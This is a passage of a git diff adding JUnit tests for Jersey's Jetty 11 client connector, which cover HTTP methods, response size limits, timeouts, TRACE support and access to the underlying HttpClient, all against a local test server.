+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.concurrent.ExecutionException;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.DELETE;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.PATCH;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.PUT;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * Tests the Http methods.
+ *
+ * @author Stepan Kopriva
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class MethodTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName());
+
+    private static final String PATH = "test";
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @POST
+        public String post(String entity) {
+            return entity;
+        }
+
+        @PUT
+        public String put(String entity) {
+            return entity;
+        }
+
+        @PATCH
+        public String patch(String entity) {
+            return entity;
+        }
+
+        @DELETE
+        public String delete() {
+            return "DELETE";
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyConnectorProvider());
+    }
+
+    @Test
+    public void testGet() {
+        Response response = target(PATH).request().get();
+        assertEquals("GET", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testGetAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().get().get();
+        assertEquals("GET", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPost() {
+        Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN));
+        assertEquals("POST", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPostAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get();
+        assertEquals("POST", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPut() {
+        Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN));
+        assertEquals("PUT", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPutAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get();
+        assertEquals("PUT", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testDelete() {
+        Response response = target(PATH).request().delete();
+        assertEquals("DELETE", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testDeleteAsync() throws ExecutionException, InterruptedException {
+        Response response = target(PATH).request().async().delete().get();
+        assertEquals("DELETE", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testPatch() {
+        Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN));
+        assertEquals("PATCH", response.readEntity(String.class));
+    }
+
+    @Test
+    public void testOptionsWithEntity() {
+        Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke();
+        assertEquals(200, response.getStatus());
+        response.close();
+    }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java
new file mode 100644
index 0000000..d4b3f2e
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/NoEntityTest.java
@@ -0,0 +1,102 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.POST;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.Response.Status;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+
+/**
+ * @author Paul Sandoz
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class NoEntityTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName());
+
+    @Path("/test")
+    public static class HttpMethodResource {
+        @GET
+        public Response get() {
+            return Response.status(Status.CONFLICT).build();
+        }
+
+        @POST
+        public void post(String entity) {
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(HttpMethodResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyConnectorProvider());
+    }
+
+    @Test
+    public void testGet() {
+        WebTarget r = target("test");
+
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().get();
+            cr.close();
+        }
+    }
+
+    @Test
+    public void testGetWithClose() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().get();
+            cr.close();
+        }
+    }
+
+    @Test
+    public void testPost() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().post(null);
+        }
+    }
+
+    @Test
+    public void testPostWithClose() {
+        WebTarget r = target("test");
+        for (int i = 0; i < 5; i++) {
+            Response cr = r.request().post(null);
+            cr.close();
+        }
+    }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java
new file mode 100644
index 0000000..32c71bb
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/SyncResponseSizeTest.java
@@ -0,0 +1,171 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import java.net.URI;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+/**
+ * Default synchronous jetty client implementation has a hard response size limit of 2MiB.
+ * When response is too big, a processing exception is thrown.
+ * The original code path was left to preserve this behaviour but could be removed
+ * and reworked in the future with a custom listener like async path.
+ *
+ * This tests the previous behavior with large payloads (>2MiB), the new size override (4MiB)
+ * and very big payloads (>4MiB).
+ *
+ * @author cen1 (cen.is.imba at gmail.com)
+ */
+public class SyncResponseSizeTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName());
+
+    private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB
+
+    @Path("/test")
+    public static class TimeoutResource {
+
+        private static final byte[] data = new byte[maxBufferSize];
+
+        static {
+            Byte b = "a".getBytes()[0];
+            for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue();
+        }
+
+        @GET
+        @Path("/small")
+        public String getSmall() {
+            return "GET";
+        }
+
+        @GET
+        @Path("/big")
+        public String getBig() {
+            return new String(data);
+        }
+
+        @GET
+        @Path("/verybig")
+        public String getVeryBig() {
+            return new String(data) + "a";
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyConnectorProvider());
+    }
+
+    @Test
+    public void testDefaultSmall() {
+        Response r = target("test/small").request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+    }
+
+    @Test
+    public void testDefaultTooBig() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyConnectorProvider());
+
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/big").request().get();
+            fail("Exception expected.");
+        } catch (ProcessingException e) {
+            // Buffering capacity ... exceeded.
+            assertTrue(ExecutionException.class.isInstance(e.getCause()));
+            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+        } finally {
+            c.close();
+        }
+    }
+
+    @Test
+    public void testCustomBig() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyConnectorProvider());
+        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            Response r = t.path("test/big").request().get();
+            String p = r.readEntity(String.class);
+            assertEquals(p.length(), maxBufferSize);
+        } catch (ProcessingException e) {
+            assertThat("Unexpected processing exception cause",
+                e.getCause(), instanceOf(TimeoutException.class));
+        } finally {
+            c.close();
+        }
+    }
+
+    @Test
+    public void testCustomTooBig() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyConnectorProvider());
+        config.property(JettyClientProperties.SYNC_LISTENER_RESPONSE_MAX_SIZE, maxBufferSize);
+
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/verybig").request().get();
+            fail("Exception expected.");
+        } catch (ProcessingException e) {
+            // Buffering capacity ... exceeded.
+            assertTrue(ExecutionException.class.isInstance(e.getCause()));
+            assertTrue(IllegalArgumentException.class.isInstance(e.getCause().getCause()));
+        } finally {
+            c.close();
+        }
+    }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java
new file mode 100644
index 0000000..cb8d0e2
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TimeoutTest.java
@@ -0,0 +1,245 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.net.URI;
+import java.nio.charset.StandardCharsets;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.DefaultValue;
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.QueryParam;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.StreamingOutput;
+
+import org.glassfish.jersey.CommonProperties;
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Disabled;
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.fail;
+
+/**
+ * @author Martin Matula
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public class TimeoutTest extends JerseyTest {
+    private static final Logger LOGGER = Logger.getLogger(TimeoutTest.class.getName());
+
+    @Path("/test")
+    public static class TimeoutResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+
+        @GET
+        @Path("timeout")
+        public String getTimeout() {
+            try {
+                Thread.sleep(2000);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+            return "GET";
+        }
+
+        /**
+         * Long-running streaming request
+         *
+         * @param count number of packets send
+         * @param pauseMillis pause between each packets
+         */
+        @GET
+        @Path("stream")
+        public Response streamsWithDelay(@QueryParam("start") @DefaultValue("0") int startMillis, @QueryParam("count") int count,
+                @QueryParam("pauseMillis") int pauseMillis) {
+            StreamingOutput streamingOutput = streamSlowly(startMillis, count, pauseMillis);
+
+            return Response.ok(streamingOutput)
+                    .build();
+        }
+    }
+
+    private static StreamingOutput streamSlowly(int startMillis, int count, int pauseMillis) {
+
+        return output -> {
+            try {
+                TimeUnit.MILLISECONDS.sleep(startMillis);
+            }
+            catch (InterruptedException e) {
+                Thread.currentThread().interrupt();
+            }
+            output.write("begin\n".getBytes(StandardCharsets.UTF_8));
+            output.flush();
+            for (int i = 0; i < count; i++) {
+                try {
+                    TimeUnit.MILLISECONDS.sleep(pauseMillis);
+                }
+                catch (InterruptedException e) {
+                    Thread.currentThread().interrupt();
+                }
+
+                output.write(("message " + i + "\n").getBytes(StandardCharsets.UTF_8));
+                output.flush();
+            }
+            output.write("end".getBytes(StandardCharsets.UTF_8));
+        };
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(TimeoutResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        return config;
+    }
+
+    @Override
+    protected void configureClient(ClientConfig config) {
+        config.connectorProvider(new JettyConnectorProvider());
+    }
+
+    @Test
+    public void testFast() {
+        Response r = target("test").request().get();
+        assertEquals(200, r.getStatus());
+        assertEquals("GET", r.readEntity(String.class));
+    }
+
+    @Test
+    public void testSlow() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000);
+        config.connectorProvider(new JettyConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/timeout").request().get();
+            fail("Timeout expected.");
+        } catch (ProcessingException e) {
+            assertThat("Unexpected processing exception cause",
+                    e.getCause(), instanceOf(TimeoutException.class));
+        } finally {
+            c.close();
+        }
+    }
+
+    @Test
+    public void testTimeoutInRequest() {
+        final URI u = target().getUri();
+        ClientConfig config = new ClientConfig();
+        config.connectorProvider(new JettyConnectorProvider());
+        Client c = ClientBuilder.newClient(config);
+        WebTarget t = c.target(u);
+        try {
+            t.path("test/timeout").request().property(ClientProperties.READ_TIMEOUT, 1_000).get();
+            fail("Timeout expected.");
+        } catch (ProcessingException e) {
+            assertThat("Unexpected processing exception cause",
+                    e.getCause(), instanceOf(TimeoutException.class));
+        } finally {
+            c.close();
+        }
+    }
+
+    /**
+     * Test accessing an operation that is streaming slowly
+     *
+     * @throws ProcessingException in case of a test error.
+     */
+    @Test
+    @Disabled("Test fails with grizzly2 container") // TODO: evaluate, why this test fails with grizzly2
+    public void testSlowlyStreamedContentDoesNotReadTimeout() throws Exception {
+
+        int count = 5;
+        int pauseMillis = 50;
+
+        final Response response = target("test")
+                .property(ClientProperties.READ_TIMEOUT, 100L)
+                .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+                .path("stream")
+                .queryParam("count", count)
+                .queryParam("pauseMillis", pauseMillis)
+                .request().get();
+
+        assertTrue(response.readEntity(String.class).contains("end"));
+    }
+
+    @Test
+    public void testSlowlyStreamedContentDoesTotalTimeout() throws Exception {
+
+        int count = 5;
+        int pauseMillis = 50;
+
+        try {
+            target("test")
+                .property(JettyClientProperties.TOTAL_TIMEOUT, 100L)
+                .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+                .path("stream")
+                .queryParam("count", count)
+                .queryParam("pauseMillis", pauseMillis)
+                .request().get();
+
+            fail("This operation should trigger total timeout");
+        } catch (ProcessingException e) {
+            assertEquals(TimeoutException.class, e.getCause().getClass());
+        }
+    }
+
+    /**
+     * Test accessing an operation that is streaming slowly
+     *
+     * @throws ProcessingException in case of a test error.
+     */
+    @Test
+    public void testSlowToStartStreamedContentDoesReadTimeout() throws Exception {
+
+        int start = 150;
+        int count = 5;
+        int pauseMillis = 50;
+
+        try {
+            target("test")
+                    .property(ClientProperties.READ_TIMEOUT, 100L)
+                    .property(CommonProperties.OUTBOUND_CONTENT_LENGTH_BUFFER_SERVER, "-1")
+                    .path("stream")
+                    .queryParam("start", start)
+                    .queryParam("count", count)
+                    .queryParam("pauseMillis", pauseMillis)
+                    .request().get();
+            fail("This operation should trigger idle timeout");
+        } catch (ProcessingException e) {
+            assertEquals(TimeoutException.class, e.getCause().getClass());
+        }
+    }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java
new file mode 100644
index 0000000..a7661cb
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/TraceSupportTest.java
@@ -0,0 +1,235 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+import java.util.List;
+import java.util.Map;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.HttpMethod;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.client.WebTarget;
+import jakarta.ws.rs.container.ContainerRequestContext;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Request;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.logging.LoggingFeature;
+import org.glassfish.jersey.process.Inflector;
+import org.glassfish.jersey.server.ContainerRequest;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.model.Resource;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+import static org.junit.jupiter.api.Assertions.fail;
+
+/**
+ * This very basic resource showcases support of a HTTP TRACE method,
+ * not directly supported by JAX-RS API.
+ *
+ * @author Marek Potociar
+ */
+public class TraceSupportTest extends JerseyTest {
+
+    private static final Logger LOGGER = Logger.getLogger(TraceSupportTest.class.getName());
+
+    /**
+     * Programmatic tracing root resource path.
+     */
+    public static final String ROOT_PATH_PROGRAMMATIC = "tracing/programmatic";
+
+    /**
+     * Annotated class-based tracing root resource path.
+     */
+    public static final String ROOT_PATH_ANNOTATED = "tracing/annotated";
+
+    @HttpMethod(TRACE.NAME)
+    @Target(ElementType.METHOD)
+    @Retention(RetentionPolicy.RUNTIME)
+    public @interface TRACE {
+        public static final String NAME = "TRACE";
+    }
+
+    @Path(ROOT_PATH_ANNOTATED)
+    public static class TracingResource {
+
+        @TRACE
+        @Produces("text/plain")
+        public String trace(Request request) {
+            return stringify((ContainerRequest) request);
+        }
+    }
+
+    @Override
+    protected Application configure() {
+        ResourceConfig config = new ResourceConfig(TracingResource.class);
+        config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
+        final Resource.Builder resourceBuilder = Resource.builder(ROOT_PATH_PROGRAMMATIC);
+        resourceBuilder.addMethod(TRACE.NAME).handledBy(new Inflector<ContainerRequestContext, Response>() {
+
+            @Override
+            public Response apply(ContainerRequestContext request) {
+                if (request == null) {
+                    return Response.noContent().build();
+                } else {
+                    return Response.ok(stringify((ContainerRequest) request), MediaType.TEXT_PLAIN).build();
+                }
+            }
+        });
+
+        return config.registerResources(resourceBuilder.build());
+
+    }
+
+    private String[] expectedFragmentsProgrammatic = new String[]{
+            "TRACE http://localhost:" + this.getPort() + "/tracing/programmatic"
+    };
+    private String[] expectedFragmentsAnnotated = new String[]{
+            "TRACE http://localhost:" + this.getPort() + "/tracing/annotated"
+    };
+
+    private WebTarget prepareTarget(String path) {
+        final WebTarget target = target();
+        target.register(LoggingFeature.class);
+        return target.path(path);
+    }
+
+    @Test
+    public void testProgrammaticApp() throws Exception {
+        Response response = prepareTarget(ROOT_PATH_PROGRAMMATIC).request("text/plain").method(TRACE.NAME);
+
+        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+        String responseEntity = response.readEntity(String.class);
+        for (String expectedFragment : expectedFragmentsProgrammatic) {
+            assertTrue(// toLowerCase - http header field names are case insensitive
+                    responseEntity.contains(expectedFragment),
+                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+        }
+    }
+
+    @Test
+    public void testAnnotatedApp() throws Exception {
+        Response response = prepareTarget(ROOT_PATH_ANNOTATED).request("text/plain").method(TRACE.NAME);
+
+        assertEquals(Response.Status.OK.getStatusCode(), response.getStatusInfo().getStatusCode());
+
+        String responseEntity = response.readEntity(String.class);
+        for (String expectedFragment : expectedFragmentsAnnotated) {
+            assertTrue(// toLowerCase - http header field names are case insensitive
+                    responseEntity.contains(expectedFragment),
+                    "Expected fragment '" + expectedFragment + "' not found in response:\n" + responseEntity);
+        }
+    }
+
+    @Test
+    public void testTraceWithEntity() throws Exception {
+        _testTraceWithEntity(false, false);
+    }
+
+    @Test
+    public void testAsyncTraceWithEntity() throws Exception {
+        _testTraceWithEntity(true, false);
+    }
+
+    @Test
+    public void testTraceWithEntityJettyConnector() throws Exception {
+        _testTraceWithEntity(false, true);
+    }
+
+    @Test
+    public void testAsyncTraceWithEntityJettyConnector() throws Exception {
+        _testTraceWithEntity(true, true);
+    }
+
+    private void _testTraceWithEntity(final boolean isAsync, final boolean useJettyConnection) throws Exception {
+        try {
+            WebTarget target = useJettyConnection ? getJettyClient().target(target().getUri()) : target();
+            target = target.path(ROOT_PATH_ANNOTATED);
+
+            final Entity<String> entity = Entity.entity("trace", MediaType.WILDCARD_TYPE);
+
+            Response response;
+            if (!isAsync) {
+                response = target.request().method(TRACE.NAME, entity);
+            } else {
+                response = target.request().async().method(TRACE.NAME, entity).get();
+            }
+
+            fail("A TRACE request MUST NOT include an entity. (response=" + response + ")");
+        } catch (Exception e) {
+            // OK
+        }
+    }
+
+    private Client getJettyClient() {
+        return ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyConnectorProvider()));
+    }
+
+
+    public static String stringify(ContainerRequest request) {
+        StringBuilder buffer = new StringBuilder();
+
+        printRequestLine(buffer, request);
+        printPrefixedHeaders(buffer, request.getHeaders());
+
+        if (request.hasEntity()) {
+            buffer.append(request.readEntity(String.class)).append("\n");
+        }
+
+        return buffer.toString();
+    }
+
+    private static void printRequestLine(StringBuilder buffer, ContainerRequest request) {
+        buffer.append(request.getMethod()).append(" ").append(request.getUriInfo().getRequestUri().toASCIIString()).append("\n");
+    }
+
+    private static void printPrefixedHeaders(StringBuilder buffer, Map<String, List<String>> headers) {
+        for (Map.Entry<String, List<String>> e : headers.entrySet()) {
+            List<String> val = e.getValue();
+            String header = e.getKey();
+
+            if (val.size() == 1) {
+                buffer.append(header).append(": ").append(val.get(0)).append("\n");
+            } else {
+                StringBuilder sb = new StringBuilder();
+                boolean add = false;
+                for (String s : val) {
+                    if (add) {
+                        sb.append(',');
+                    }
+                    add = true;
+                    sb.append(s);
+                }
+                buffer.append(header).append(": ").append(sb.toString()).append("\n");
+            }
+        }
+    }
+}
diff --git a/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java
new file mode 100644
index 0000000..7802e45
--- /dev/null
+++ b/connectors/jetty11-connector/src/test/java/org/glassfish/jersey/jetty/connector/UnderlyingHttpClientAccessTest.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.WebTarget;
+
+import org.glassfish.jersey.client.ClientConfig;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.junit.jupiter.api.Test;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.junit.jupiter.api.Assertions.assertNotNull;
+import static org.junit.jupiter.api.Assertions.assertSame;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * Test of access to the underlying HTTP client instance used by the connector.
+ *
+ * @author Marek Potociar
+ */
+public class UnderlyingHttpClientAccessTest {
+
+    /**
+     * Verifier of JERSEY-2424 fix.
+     */
+    @Test
+    public void testHttpClientInstanceAccess() {
+        final Client client = ClientBuilder.newClient(new ClientConfig().connectorProvider(new JettyConnectorProvider()));
+        final HttpClient hcOnClient = JettyConnectorProvider.getHttpClient(client);
+        // important: the web target instance in this test must be only created AFTER the client has been pre-initialized
+        // (see org.glassfish.jersey.client.Initializable.preInitialize method). This is here achieved by calling the
+        // connector provider's static getHttpClient method above.
+        final WebTarget target = client.target("http://localhost/");
+        final HttpClient hcOnTarget = JettyConnectorProvider.getHttpClient(target);
+
+        assertNotNull(hcOnClient, "HTTP client instance set on JerseyClient should not be null.");
+        assertNotNull(hcOnTarget, "HTTP client instance set on JerseyWebTarget should not be null.");
+        assertSame(hcOnClient, hcOnTarget, "HTTP client instance set on JerseyClient should be the same instance as the one "
+                + "set on JerseyWebTarget (provided the target instance has not been further configured).");
+    }
+
